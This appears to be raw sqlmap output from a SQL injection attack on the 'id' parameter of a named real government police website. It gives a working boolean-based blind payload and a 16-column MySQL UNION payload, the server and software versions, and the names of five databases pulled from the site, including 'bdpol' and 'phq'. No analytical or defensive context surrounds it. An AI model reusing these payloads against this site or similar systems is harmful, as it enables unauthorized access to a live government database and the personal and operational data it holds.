--- URL: http://www.police.gov.bd/content.php?id=275 Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=275' AND 2019=2019 AND 'IoFD'='IoFD Type: UNION query Title: MySQL UNION query (NULL) - 16 columns Payload: id=275' UNION ALL SELECT NULL,NULL,CONCAT(0x7178706271,0x7345734c547a75467a52,0x7170786271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL# ---
web server operating system: Linux CentOS 5.10
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL 5
--- available databases [5]: [*] bdpol [*] information_schema [*] mysql [*] phq [*] test ---